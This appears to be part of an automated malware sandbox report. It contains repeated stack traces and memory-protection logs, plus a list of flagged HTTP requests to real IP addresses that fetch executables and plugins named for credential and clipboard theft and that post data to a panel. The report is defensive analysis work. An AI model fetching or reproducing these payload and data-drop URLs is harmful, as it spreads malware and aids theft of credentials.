CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730596 registers.edi: 3730820 registers.eax: 0 registers.ebp: 3730832 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 46763532 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9acdbe 0x9acc7f 0x9acb95 0x9ab7da 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730596 registers.edi: 3730820 registers.eax: 0 registers.ebp: 3730832 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 46763532 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x9acdbe 0x9acc7f 0x9acb95 0x9ab7da 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730596 registers.edi: 3730820 registers.eax: 0 registers.ebp: 3730832 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 46763532 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55013ac 0x5501258 0x9acb7d 0x9aba78 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730600 registers.edi: 3730824 registers.eax: 0 registers.ebp: 3730836 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45780944 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55013ac 0x5501258 0x9acb95 0x9aba78 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730600 registers.edi: 3730824 registers.eax: 0 registers.ebp: 3730836 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45780944 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55013ac 0x5501258 0x9acb95 0x9aba78 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730600 registers.edi: 3730824 registers.eax: 0 registers.ebp: 3730836 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45780944 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5501a8b 0x5501910 0x9acb7d 0x9abb77 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730612 registers.edi: 3730836 registers.eax: 0 registers.ebp: 3730848 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771968 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5501a8b 0x5501910 0x9acb95 0x9abb77 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730612 registers.edi: 3730836 registers.eax: 0 registers.ebp: 3730848 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771968 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x5501a8b 0x5501910 0x9acb95 0x9abb77 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730612 registers.edi: 3730836 registers.eax: 0 registers.ebp: 3730848 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771968 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55021bb 0x5502088 0x9acb7d 0x9abc64 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730696 registers.edi: 3730920 registers.eax: 0 registers.ebp: 3730932 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771968 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55021bb 0x5502088 0x9acb95 0x9abc64 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730696 registers.edi: 3730920 registers.eax: 0 registers.ebp: 3730932 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771968 registers.ecx: 0	1
__exception__ March 5, 2023, 2:22 p.m.	stacktrace: 0x55021bb 0x5502088 0x9acb95 0x9abc64 0x9aafae 0x9a7c87 0x9a25a5 0x9a20b6 0x9a05a0 0x9a006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x725d2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x725e264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x725e2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x726974ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72697610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72721dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72721e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72721f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7272416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x72c7f5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x72df7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x72df4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5 exception.instruction_r: 39 09 ff 15 d8 1b 74 02 89 85 4c ff ff ff 8b 85 exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x9ad6c6 registers.esp: 3730696 registers.edi: 3730920 registers.eax: 0 registers.ebp: 3730932 registers.edx: 41163368 registers.ebx: 3732708 registers.esi: 45771956 registers.ecx: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (6 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.233.20.26/Do3m4Gor/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.26/ti/serko4.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.26/male/mohta5.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.22/par/St1_soft.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.26/Do3m4Gor/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.26/Do3m4Gor/Plugins/clip64.dll

Performs some HTTP requests (6 events)

request	POST http://193.233.20.26/Do3m4Gor/index.php
request	GET http://193.233.20.26/ti/serko4.exe
request	GET http://193.233.20.26/male/mohta5.exe
request	GET http://193.233.20.22/par/St1_soft.exe
request	GET http://193.233.20.26/Do3m4Gor/Plugins/cred64.dll
request	GET http://193.233.20.26/Do3m4Gor/Plugins/clip64.dll

Sends data using the HTTP POST Method (1 event)

request

POST http://193.233.20.26/Do3m4Gor/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 381 events)

Time & API	Arguments	Status
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2564 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73261000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2684 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73261000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73921000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2784 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 131072 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006d0000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2784 region_size: 184320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef4ee3000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000af0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000ba0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef41aa000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3ac5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef3b11000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef41ab000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 5, 2023, 2:21 p.m.	process_identifier: 2836 region_size: 851968 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000c20000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
